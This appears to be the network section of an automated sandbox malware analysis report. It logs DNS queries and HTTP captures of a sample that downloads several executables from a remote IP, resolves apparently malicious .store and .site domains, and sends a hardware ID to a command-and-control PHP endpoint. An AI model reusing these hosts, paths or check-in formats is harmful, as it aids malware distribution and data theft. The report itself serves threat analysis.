Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.129216909 CEST	1.1.1.1	192.168.2.7	0x961a	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.137005091 CEST	1.1.1.1	192.168.2.7	0x16c6	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 17, 2024 18:39:26.139621019 CEST	1.1.1.1	192.168.2.7	0x3131	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 17, 2024 18:39:26.140075922 CEST	1.1.1.1	192.168.2.7	0x2515	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 17, 2024 18:39:26.140075922 CEST	1.1.1.1	192.168.2.7	0x2515	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 17, 2024 18:39:26.140075922 CEST	1.1.1.1	192.168.2.7	0x2515	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 17, 2024 18:39:26.140075922 CEST	1.1.1.1	192.168.2.7	0x2515	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 17, 2024 18:39:26.145999908 CEST	1.1.1.1	192.168.2.7	0xd58f	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:26.145999908 CEST	1.1.1.1	192.168.2.7	0xd58f	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.145999908 CEST	1.1.1.1	192.168.2.7	0xd58f	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.145999908 CEST	1.1.1.1	192.168.2.7	0xd58f	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.145999908 CEST	1.1.1.1	192.168.2.7	0xd58f	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.147186041 CEST	1.1.1.1	192.168.2.7	0x830c	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.153652906 CEST	1.1.1.1	192.168.2.7	0xace3	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.153652906 CEST	1.1.1.1	192.168.2.7	0xace3	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.153652906 CEST	1.1.1.1	192.168.2.7	0xace3	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.153652906 CEST	1.1.1.1	192.168.2.7	0xace3	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:26.154946089 CEST	1.1.1.1	192.168.2.7	0x25e7	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:27.546879053 CEST	1.1.1.1	192.168.2.7	0x3b0f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:27.546879053 CEST	1.1.1.1	192.168.2.7	0x3b0f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.557482004 CEST	1.1.1.1	192.168.2.7	0xe27a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:32.557482004 CEST	1.1.1.1	192.168.2.7	0xe27a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.585454941 CEST	1.1.1.1	192.168.2.7	0x22ac	No error (0)	services.addons.mozilla.org		52.222.236.23	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.585454941 CEST	1.1.1.1	192.168.2.7	0x22ac	No error (0)	services.addons.mozilla.org		52.222.236.80	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.585454941 CEST	1.1.1.1	192.168.2.7	0x22ac	No error (0)	services.addons.mozilla.org		52.222.236.48	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.585454941 CEST	1.1.1.1	192.168.2.7	0x22ac	No error (0)	services.addons.mozilla.org		52.222.236.120	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.594888926 CEST	1.1.1.1	192.168.2.7	0xb62	No error (0)	services.addons.mozilla.org		52.222.236.80	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.594888926 CEST	1.1.1.1	192.168.2.7	0xb62	No error (0)	services.addons.mozilla.org		52.222.236.120	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.594888926 CEST	1.1.1.1	192.168.2.7	0xb62	No error (0)	services.addons.mozilla.org		52.222.236.23	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.594888926 CEST	1.1.1.1	192.168.2.7	0xb62	No error (0)	services.addons.mozilla.org		52.222.236.48	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.640652895 CEST	1.1.1.1	192.168.2.7	0x56e1	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:32.640652895 CEST	1.1.1.1	192.168.2.7	0x56e1	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:32.651273012 CEST	1.1.1.1	192.168.2.7	0xb85f	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:34.088558912 CEST	1.1.1.1	192.168.2.7	0xe09b	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:34.088558912 CEST	1.1.1.1	192.168.2.7	0xe09b	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:58.206782103 CEST	1.1.1.1	192.168.2.7	0x12bc	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:39:58.843342066 CEST	1.1.1.1	192.168.2.7	0x3321	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 17, 2024 18:39:58.843342066 CEST	1.1.1.1	192.168.2.7	0x3321	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:03.332920074 CEST	1.1.1.1	192.168.2.7	0x4d11	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.118180990 CEST	1.1.1.1	192.168.2.7	0x9a8e	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.131494999 CEST	1.1.1.1	192.168.2.7	0x2bb7	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.144054890 CEST	1.1.1.1	192.168.2.7	0xc1a6	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.155786991 CEST	1.1.1.1	192.168.2.7	0x9675	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.169485092 CEST	1.1.1.1	192.168.2.7	0x1844	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.187885046 CEST	1.1.1.1	192.168.2.7	0xa5c5	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.199613094 CEST	1.1.1.1	192.168.2.7	0x1fba	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.210711956 CEST	1.1.1.1	192.168.2.7	0x3769	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:17.224267960 CEST	1.1.1.1	192.168.2.7	0xc687	No error (0)	steamcommunity.com		95.100.48.249	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.164568901 CEST	1.1.1.1	192.168.2.7	0x1d20	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.177072048 CEST	1.1.1.1	192.168.2.7	0x2002	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.189239025 CEST	1.1.1.1	192.168.2.7	0xe333	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.202275991 CEST	1.1.1.1	192.168.2.7	0xd7cd	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.214262962 CEST	1.1.1.1	192.168.2.7	0x4fb5	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.225940943 CEST	1.1.1.1	192.168.2.7	0xc443	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.237273932 CEST	1.1.1.1	192.168.2.7	0xb54c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.259459972 CEST	1.1.1.1	192.168.2.7	0xb5da	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:30.273066998 CEST	1.1.1.1	192.168.2.7	0xec05	No error (0)	steamcommunity.com		95.100.48.249	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:38.822731972 CEST	1.1.1.1	192.168.2.7	0xc240	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:38.844501019 CEST	1.1.1.1	192.168.2.7	0x9c15	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.536104918 CEST	1.1.1.1	192.168.2.7	0x14a7	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.547847033 CEST	1.1.1.1	192.168.2.7	0x3517	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.559516907 CEST	1.1.1.1	192.168.2.7	0xc3b4	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.574775934 CEST	1.1.1.1	192.168.2.7	0xea6c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.587131023 CEST	1.1.1.1	192.168.2.7	0xa981	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 17, 2024 18:40:39.599626064 CEST	1.1.1.1	192.168.2.7	0x7496	No error (0)	steamcommunity.com		23.192.247.89	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

185.215.113.103

185.215.113.37

detectportal.firefox.com

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49815	185.215.113.103	80	3300	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:38:40.120915890 CEST	206	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 17, 2024 18:38:41.231554985 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 16:26:16 GMT ETag: "1c8800-624aea55376ab" Accept-Ranges: bytes Content-Length: 1869824 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 b0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 6a 00 00 04 00 00 ce c2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@j@P%d% %(@.rsrc %8@.idata %8@ *%:@dxmeshoa0pP$<@odcdjryqj`@.taggant0j"f@
Oct 17, 2024 18:38:41.231612921 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:38:41.231627941 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:38:41.231642962 CEST	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 17, 2024 18:38:41.231709957 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 e9 ee 4c b4 6e 6f 35 11 0a b5 05 ba 56 6a 12 50 1b 76 f9 Data Ascii: Lno5VjPv,*j#,F^Yc&Rh'xY'4V\1a$TF`PhD+[=R>{4<R\|4xn8(uYQXmf^ f$`~Ff6<.
Oct 17, 2024 18:38:41.231728077 CEST	1236	IN	Data Raw: 54 b6 8e 53 35 11 b0 17 f6 0c c7 1f f1 f5 75 94 27 31 5e 90 7c ad 3b 42 31 75 6c ff de 96 44 be 8d 7f 98 7d 2e c5 f1 50 70 f1 18 b4 73 fd 00 3e 16 7a 12 58 d1 14 18 01 af f1 32 13 0b 84 3d e8 46 67 5c 76 d4 0a 9b 6e b7 32 86 dc bb 95 93 08 cf 32 Data Ascii: TS5u'1^\|;B1ulD}.Pps>zX2=Fg\vn22nf^!X8.Vw\&D?'5SiLT~ .^0.!CspKt^81>C;b{kd0mW4Al[zim+PskStE\|!w4hG/U
Oct 17, 2024 18:38:41.231743097 CEST	1236	IN	Data Raw: 96 52 b2 8a 32 ad 83 1f 03 22 2d ae c9 4f 3e 6e 5c f5 9b ad 99 a5 3c 09 70 9e c7 de 1e 80 f6 91 2c d9 37 47 18 07 83 05 66 ab 28 68 5b 71 d8 75 f7 43 44 74 31 b1 87 80 35 b0 67 f8 fc 94 10 36 f2 02 38 60 f9 cc e0 d8 40 08 9a b4 37 30 f9 56 f5 18 Data Ascii: R2"-O>n\<p,7Gf(h[quCDt15g68`@70Vs\|?6tFy}@`(!~}QTu220`4@(*,8ou3+d 64Hkk\|hVc</68H15G8}gXKeoT_n0'<n2W2R
Oct 17, 2024 18:38:41.231756926 CEST	636	IN	Data Raw: 41 cd 81 b0 eb 07 06 4f cf b1 00 a4 6f 11 ff 68 e5 05 3f 4b 81 51 15 5c 0a 5b f4 47 f0 f1 59 4c ad ce c0 74 f8 24 1c 15 b7 07 78 c8 11 f5 d8 28 f8 4c f2 f9 26 f9 ae 5c 00 34 f0 47 2a 8b 2f 12 8c 23 e6 75 f1 10 89 2f 5a cb e2 68 8b 33 68 59 c7 63 Data Ascii: AOoh?KQ\[GYLt$x(L&\4G*/#u/Zh3hYc]XG~~G5zmayl_<Ab!0so]!dG3Bd'iOiES:X[pGJQG5G@#/#\|[<<.I<lG3g7t0TkVP9\|
Oct 17, 2024 18:38:41.231780052 CEST	1236	IN	Data Raw: 0b 35 89 15 54 34 c8 47 19 2d d2 47 33 02 cc 40 97 55 7d 70 a9 4d 89 5c 5f 95 eb b2 5e 73 21 d4 6f 0a 0c 4e 01 28 1d c9 af 35 70 47 21 bd f3 57 6b e5 70 08 a3 33 40 5c d3 03 04 16 13 23 28 8c 6f 0a ac 49 ba 2a d8 14 36 15 dc 7c fb fb 82 e2 86 0a Data Ascii: 5T4G-G3@U}pM\_^s!oN(5pG!Wkp3@\#(oI*6\|tl5G!)~2S3kK$^-9A7^?J=5N]sE\^Ae3]oTJs7(hb1X_{8U_qj]HG'~e1!
Oct 17, 2024 18:38:41.231794119 CEST	1236	IN	Data Raw: 33 4d 89 30 6f 54 15 48 fb b5 bc 6c 0f 0c 89 89 6b c1 7d 08 7b 33 78 5f 36 09 68 28 c4 d5 b1 5f ab 95 e2 88 7b a9 96 91 bb 0a 80 88 6b 0a c1 cc f7 fc 1c 6e e7 7d 06 b9 54 c4 18 6c 35 a2 81 b5 ea 95 28 39 98 1d d0 dc f8 33 46 da eb d8 87 6c 80 0a Data Ascii: 3M0oTHlk}{3x_6h(_{kn}Tl5(93FlTw0`u_~Gs3gy}{d5dxGq$=Lh`DOoh2W\ ]G6{,(`k@ G@d8G!e~2k}`soQ!AO
Oct 17, 2024 18:38:41.236912012 CEST	1236	IN	Data Raw: c5 b2 dd 2e f7 18 b8 c7 41 6e 1b 3d 67 ce 26 b8 f3 33 18 5f 57 01 69 5d aa 94 2d e8 1e ae 14 58 d0 e0 7d 4d f3 85 37 6e fb 34 6d 5b 06 98 15 54 13 66 7e 75 42 4f 23 8c 03 dd f1 04 f6 37 49 50 8b 9f 11 99 ea b9 3d 84 59 2d ad 1e 84 79 60 18 f3 2d Data Ascii: .An=g&3_Wi]-X}M7n4m[Tf~uBO#7IP=Y-y`-lE3#c45@aHO,SG\7/&6@Q\ly}q%u, /1iU)d;/gH2 lhm>zfO!Kgx2{;!Il8O<UC b^
Oct 17, 2024 18:38:50.660834074 CEST	205	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 17, 2024 18:38:50.942662001 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 16:26:23 GMT ETag: "1cd000-624aea5b52e27" Accept-Ranges: bytes Content-Length: 1888256 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K\|@WkJJ @.rsrc@.idata @ p*@yoiwrcva 1@jttglrmmJ@.taggant0J"@
Oct 17, 2024 18:38:54.462084055 CEST	205	OUT	GET /well/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.103
Oct 17, 2024 18:38:54.743304014 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:54 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 17 Oct 2024 15:31:47 GMT ETag: "e0800-624ade2793707" Accept-Ranges: bytes Content-Length: 919552 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 db 2d 11 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL-g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49890	185.215.113.37	80	2260	C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:38:55.146625996 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 17, 2024 18:38:56.073252916 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:55 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 17, 2024 18:38:56.090553045 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 32 41 44 43 43 38 35 46 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="hwid"8C2ADCC85F473625698399------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="build"doma------BAEBGHCFCAAFIECAFIII--
Oct 17, 2024 18:38:56.380789042 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:38:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49951	34.107.221.82	80	5788	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:39:05.730021954 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:06.378002882 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59437 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49960	34.107.221.82	80	5788	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
